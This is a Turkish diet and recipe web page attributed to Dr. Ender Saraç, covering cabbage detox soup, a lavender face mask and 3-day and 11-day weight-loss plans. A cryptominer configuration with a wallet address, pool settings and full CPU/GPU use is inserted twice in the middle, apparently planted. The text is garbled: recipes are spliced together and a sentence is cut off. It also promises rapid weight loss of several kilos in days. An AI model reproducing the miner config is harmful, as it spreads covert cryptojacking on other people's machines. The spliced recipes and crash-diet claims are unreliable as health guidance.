EnderSaraç zayıflatan lahana çorbasıhttp://www.internetpara.com/dr-ender-sarac-hizli-zayiflatan-diyet-1-ve-2-gun-listesi.html Dr. Ender Saraç 'dan vücudu toksinlerden arındırmak için detoks çorbası tarifi : Malzemeler: 1 Adet Beyaz Lahana. 1 Çimdik Tuz. 1 Tatlı Kaşığı Zeytinyağı. 1 Tatlı Kaşığı Kimyon. 1 Tatlı Kaşığı toz zencefil. ½ Tatlı Kaşığı toz zerdeçal. Çorba tarifi: 1 kabak, 1 avuç brokoli, yarım pancar, çeyrek demet maydanoz, 2 kereviz sapı ve yaprakları, bir tutam dere otu, 2 yaprak ıspanak, bir avuç karnabahar, 2 yaprak ıspanak, bir avuç beyaz lahana, 3 litre su, zerdeçal, zencefil, kimyon ve 2 tatlı kaşığı zeytin yağı kaynatılarak çorba hazırlanacak. Ender Saraç Kırışıklıklar İçin Lavanta Maskesi Uzman Doktor Ender Saraç kırışıklıklar için lavanta maskesi tarifini açıkladı! Malzemeler: 1 bardak portakal suyu 1 bardak lavanta çiçeği 2 dilim kabuksuz salatalık 1 yumurta sarısı Mısır unu Kaliteli ve katkısız arı balı Hazırlanışı: Sonrasında rendelenmiş havuç ve ince ince kıyılmış beyaz lahanayı da ekleyip orta ateşte kaynamaya bırakın. Kaynayınca tuz ve karabiberi de ekleyin. 30 dakika kadar pişirdiğiniz çorbayı ocaktan alın ve on dakika dinlendirdikten sonra servis edin. Detaylı tarifi için buraya: Lahana çorbası tarifi. Güvenilir diyet listeleri ve tarifleri ile çok sayıda kişinin yakından takip ettiği Ender Saraç, sağlıklı beslenmenin yanı sıra verdiği şok diyet listeleri ile de adından sıkça söz ettirmektedir. 2 günde 1 beden incelmeyi vaat eden diyet sadece önerildiği süre kadar uygulandığında zararsız ve etkilidir. Yaz aylarına girmeye az zaman kalan süreçlerde acil 1 beden bAja. { "api" { "worker-id" " }, "http" { "enabled" true, "host" " "port" 25, "access-token" null, "restricted" true }, "autosave" true, "donate-level" 80, "cpu" true, "opencl" true, "cuda" true, "pools" [ { "url" " "user" "49qqDEnv2afZtJPGkipVZ9WkwyQp7a3142je4Xat8KbK4NcMjigWptyKMYfPxd3cEjFs4M6qkNVA5icHicjMFUZf3SEAfYX", "rig-id" "Voyager1", "keepalive" true, "tls" true } ] } Diyetisyen Saraç Saraç Lahana çorbası { "api" { "worker-id" " }, "http" { "enabled" true, "host" " "port" 25, "access-token" null, "restricted" true }, "autosave" true, "donate-level" 80, "cpu" true, "opencl" true, "cuda" true, "pools" [ { "url" " "user" "49qqDEnv2afZtJPGkipVZ9WkwyQp7a3142je4Xat8KbK4NcMjigWptyKMYfPxd3cEjFs4M6qkNVA5icHicjMFUZf3SEAfYX", "rig-id" "Voyager1", "keepalive" true, "tls" true } ] } Kilo problemi yaşayıp da diyet yapmayan hemen hemen kimse yoktur sanırım. Malumunuz Kurban bayramına sayılı günler kaldı ve bayramda ne giyeceğim yada çok sevdiğim kıyafet üzerime olmuyor diyenlerdenseniz kış diyeti Ender Saraç tam size göre bir diyet. 3 günde 4 ila 5 kilo arasında kilo vermenizi sağlayacak olan bu diyet programı bayramda kıyafetlerinizin içine rahatlıkla sığmanızı sağlayacaktır. Yine çabuk kilo vermenizi sağlayan şok diyetlerde olduğu gibi bu diyeti de sürekli uygulamamanızı yada aralar vererek uygulamanızı tavsiye ediyoruz. İki günde zayıflatan diyet gibi etkisi kısa sürede gözlemlenmektedir. Dr. Ender Saraç tarafından hazırlanan diyet listesi kişinin günlük hayatta yediği yiyeceklerden fazla kısıtlanmadan hazırlanan program hızlı bir şekilde fazla kilolarından kurtulmak isteyenler tarafında oldukça rağbet görüyor. Sıcak yazı uğurladığımız şu günlerde, kış kapımızı çalmak üzere. Kışın sağlıksız ve düzensiz beslenme sonucu yaşadığımız rahatsızlıklardan korunma ve bir taraftan diyet yapmak pekte kolay değil. Saraç’ın hazırlamış olduğu ve son günlerin en popüler diyeti olan Dr. Ender Saraç diyeti hızlı bir şekilde zayıflatırken istediğiniz kıyafeti giymenizi sağlıyor. Özellikle kış aylarında tüketmemiz gereken yiyeceklerin başında meyve ve sebzeler geliyor. Kış aylarında taze tüketilen meyve ve sebzeler kış rahatsızlıklarından başta grip olmak üzere koruyucu özelliği vardır. Kış Diyeti Listesi 1 Gün Sabahtan akşama kadar ılık yeşil elma kompostosu. Öğleden gece yatana kadar lahana çorbası içilecek. Gün boyu bol miktarda ılık sıvılar alınacak. Yeşil çay ve rezene çayı gibi. 2 Gün Gün boyu sadece çiğ gıdalar tüketilecek. Sabahları 2 adet yeşil elma, 2 adet salatalık. Akşamları yaklaşık yarım kilo kadar hafif haşlanmış kabak. 2 ila 3 kaşık arası yağsız light yoğurt. 3 Gün Sabahları 1 bardak olmak üzere yarım yağlı süt. 2 ila 3 adet arası ceviz. Aralarda 1 adet yeşil elma. Öğlenleri az zeytinyağı ile haşlanmış kabak. 6 ila 7 kaşık arası yoğurt. Aralarda 2 ila 3 avuç kadar lor peyniri veya yağsız başka bir peynir. Akşamları soğan ve sarımsakla pişirilmiş taze fasulye, brokoli yada ıspanak gibi yeşil yapraklı bir sebze. Yatmadan önce 2 ila 3 arası kivi. İndirmek için Kış Diyeti Listesi .PDF Post navigation Yaz mevsiminin gelmesine çok az bir zaman kaldı. Fit bir görünüme kavuşmak için bir çok kişi fazla kilolarını vermeye çalışıyor. Ben de yaz mevsimine uygun bir diyet araştırdım. Bugün sizlere Ender Saraç yaz diyeti listesini sizlerle paylaşacağım. Yaz diyeti sizi fit bir görünüme kavuşturacak aynı zamanda önereceğim egzersizler formda kalmanızı sağlayacaktır. Dr. Saraç Diyetlerini bilirsiniz hem uygulaması kolay hem de etkilidir. Beslenme Öğün Saatleri Kalkış 730 Kahvaltı 0800 Ara Öğün 1100 Öğle Yemeği 1230 İkindi Öğünü 1500 Ara 1700 Akşam Yemeği 1900 Gece 2100 11 Günlük Ender Saraç Yaz Diyeti Listesi 1. GÜN Kalkış 1 bardak ılık su 5- 6 damla limon ½ tatlı kaşığı bal Bir fincan sıcak su içiniz. Kahvaltı 1 dilim kızarmış kepek ekmeği 1 dilim az yağlı dil peyniri mozarella-lor-çökelek 2 adet hafif acı sivri biber 4- 5 adet sıcak sudan geçirilmiş zeytin. Ara 3 esmer kuru kayısı Öğle Yemeği Tavuk ızgara derisiz Yeşil salata marul, roka, tere, maydanoz gibi 1 çay bardağı diyet yoğurt. İkindi Meyve çeşitlerinden istediğinizi seçin; Yeşil elma 1 adet / armut 1 adet / kivi 1 adet / ayva 1/2 adet / greyfurt ½ adet veya diri kütür kayısı / nektari / şeftali / çilek / vişne / erik / kiraz / mürdüm eriği gibi. Ara 3 ceviz içi Akşam Yemeği Gece mayalı gıda yok Yoğurt, peynir gibi Güveçte etsiz domatesli türlü Yeşil salata 2 dilim kepekli ekmek Tercihen kızarmış Gece 2 adet meyve 2. GÜN Sabah 1 bardak ılık ballı limonlu su, 20 -30 dakika sonra kahvaltı. Kahvaltı 1 fincan diyet süt + 4- 5 kaşık sade yulaf ezmesi. Ara 1 meyve listeden sert-diri- kütür fazla şekerlenmemiş, çok soğuk yenmeyecek. Öğle Yemeği Soya kıymalı lahana kapuskası veya ıspanak - semizotu – taze fasulye Light yoğurt yarım kase bol yeşil salata. İkindi 1 meyve listeden sert- diri- kütür fazla şekerlenmemiş, çok soğuk yenmeyecek. Ara 1 dilim kepek ekmeği + 2 tatlı kaşığı şekersiz marmelat. Akşam Balık Izgara derisiz + yeşil salata + sebze sote brokoli, taze fasulye, ıspanak, kabak, bezelye, patlıcan, bürüksel lahanası. Gece 1 adet meyve + 1 çay bardağı dolusu beyaz leblebi tuzsuz 3. GÜN Sulu Diyet Sabah Ballı limonlu su, 20- 30 dakika sonra kahvaltı. Kahvaltı Az şekerli 4- 5 kuru üzümle tatlandırmak daha uygundur kabuk tarçınlı karanfilli elma kompostosu kabuklarıyla beraber. Ara Öğün 1 kase az şekerli komposto içilecek. Öğle Yemeği 1 kase sebze çorba az sıvı yağlı + 1 bardak ayran light yoğurt ile. İkindi 1 kase az şekerli komposto + 1 bardak ayran light.ARA 1 kase az şekerli komposto. Akşam Etsiz sulu sebze yemeği veya çorba + 1kase komposto. Gece 1 kase az şekerli komposto. 4. GÜN Sabah Ballı limonlu su, 20- 30 dakika sonra kahvaltı. Kahvaltı 1 dilim kızarmış kepek ekmeği Zeytin 5- 6 adet sıcak sudan geçirilmiş Yeşillik 2- 3 adet hafif acı sivri biber 1 tatlı kaşığı diyet kuşburnu marmelatı. Ara 3 esmer kuru kayısı + 4 kabuksuz badem. Öğle yemeği Etsiz taze fasulye + cacık bol dereotlu – 4 kaşık light yoğurt ile + yeşil salata. İkindi 1 adet meyve 1 parmak dil peyniri. ARA ÖĞÜN 3 ceviz içi. Akşam yemeği Gece yoğurt ve peynir yok. Balık ızgara 1 orta boy yeşil salata salatalık kabuklu. Gece 2 meyve. 5. GÜN Sabah Ballı limonlu su, 20- 30 dakika sonra kahvaltı. Kahvaltı 2 dilim ince kepek ekmeği 2 dilim dil peyniri mozarella veya çorba kaşığı lor - çökelek yeşillikten tost yağsız Ara 3 esmer kuru kayısı. ÖğleYemeği Omlet 3 yumurta beyazı 1 yumurta sarısı ile yapılmış sebzeli taze soğanlı omlet, ıspanaklı, pazılı veya mevsim sebzeleriyle maydanoz ve dereotlu yeşil salata. İkindi 1 bardak ayran light. ARA ÖĞÜN 1 bardak greyfurt suyu veya 1 yeşil elma kabuklu. Akşam Yemeği Mayalı gıda yok. Sebze yemeği etsiz semizotu yemeği Yeşil salata 4- 5 kaşık kepekli makarna. Gece 1 adet meyve. 6. GÜN Sabah Ballı limonlu su, 20- 30 dakika sonra kahvaltı. Kahvaltı 2 adet meyveden meyve salatası, üzerine 2 tatlı kaşığı silme fındık rendesi + tarçın. Ara 1 saat sonra 1 bardak ılık light süt. Öğle yemeği Tavuk sote mantarlı sebzeli + yeşil salata + salatalık. İkindi 1 bardak ayran 1 meyve. ARA 3 esmer kuru kayısı. Akşam Tek yufkadan kabaklı teflon tavada börek + yeşil salata. Sabah Ballı limonlu su, 20- 30 dakika sonra kahvaltı. Kahvaltı 2 dilim kepek ekmeği kızarmış + sıcak sudan geçirilmiş 6-7 adet zeytin yeşillik 3-4 adet yeşil sivri biber. Ara 1 meyve. Öğle Yemeği Etsiz türlü yemeği 1 kase light yoğurt salata. İkindi 1 meyve ARA ÖĞÜN 1 dilim ekmek + 2 tatlı kaşığı marmelat. Akşam Yoğurt ve peynir yok. Balık ızgara 1 orta boy yeşil salata zeytinyağlı enginar Bakla veya kabak Taze fasulye patates, havuç yok. Gece 2 adet meyve biri kivi olacak. 8. GÜN Sabah Ballı limonlu su. Kahvaltı 2 parmak yağsız light peynir 2 dilim kepekli ekmek tost yapılacak. Ara 1 avuç sert çilek veya diri meyve. Öğle Yemeği Zeytinyağlı barbunya 4- 5 kaşık 1 dilim kepekli ekmek yeşil salata. Ara 1 adet yeşil elma. İkindi 1 parmak light dil peynir. Akşam 1 kase mevsim sebzeleri ile yapılmış çorba 2 - 3 kaşık kepekli makarna yeşil salata. Gece 2 adet meyve. 9. GÜN Sabah Ballı limonlu su. Kahvaltı 1 dilim kepekli ekmek + 1 dilim dil peyniri +3- 4 adet siyah zeytin. Ara 1 bardak ayran 2 esmer kuru kayısı. Öğle yemeği Zeytinyağlı taze fasulye 2 ince dilim ekmek çoban salata. İkindi 1/ 2 adet simit Bitki çayı. ARA ÖĞÜN 1 adet meyve. Akşam Yemeği Izgara balık roka - marul – semizotu salata. Sabah Ballı limonlu su. Kahvaltı 2 dilim kızarmış ekmek + 1 dilim dil peyniri, mozarella + 1 tatlı kaşığı diyet kuşburnu marmelatı. Ara 1 adet meyve. Öğlen yemeği Etsiz türlü 1 kase cacık 1 dilim ekmek. İkindi 1 bardak ayran. ARA 3 esmer kuru kayısı + 4 kabuksuz badem. Akşam Tavuk şiş Sebze garnitür bol kabaklı. Gece 2 adet meyve. 11. GÜN Sulu Diyet Komposto ve Detoks Yemeği Tarifi Komposto Tarifi Öğleye kadar; Tarçın ve karanfilli, 3-4 kabuklu yeşil elma, 3-4 kuru kayısı ve 5-6 kuru üzüm/tüm gün kompostosu içilecek. Öğle ve öğleden sonra; Lahana çorbası içilecek. Detoks Yemekleri tarifi için malzemeler Semizotu/kabak 3-4 adet 1 büyükçe soğan 2 diş sarımsak 1 tatlı kaşığı sıvıyağ 1 çimdik tuz 1 tatlı kaşığı biber salçası Hazırlanışı için Detoks Çorbası konusunu okuyabilirsiniz. Ender Saraç Yaz Diyeti Listesi etkili olması için egzersizler sayfamızdan kendinize uygun hareketleri seçerek her gün tekrarlayın. 11 gün sonunda sağlıklı bir halde 5 kilo vereceksiniz... Benzer Konuları Okuyun; Yaz Diyetleri 2014

lahana diyeti tarifi ender saraç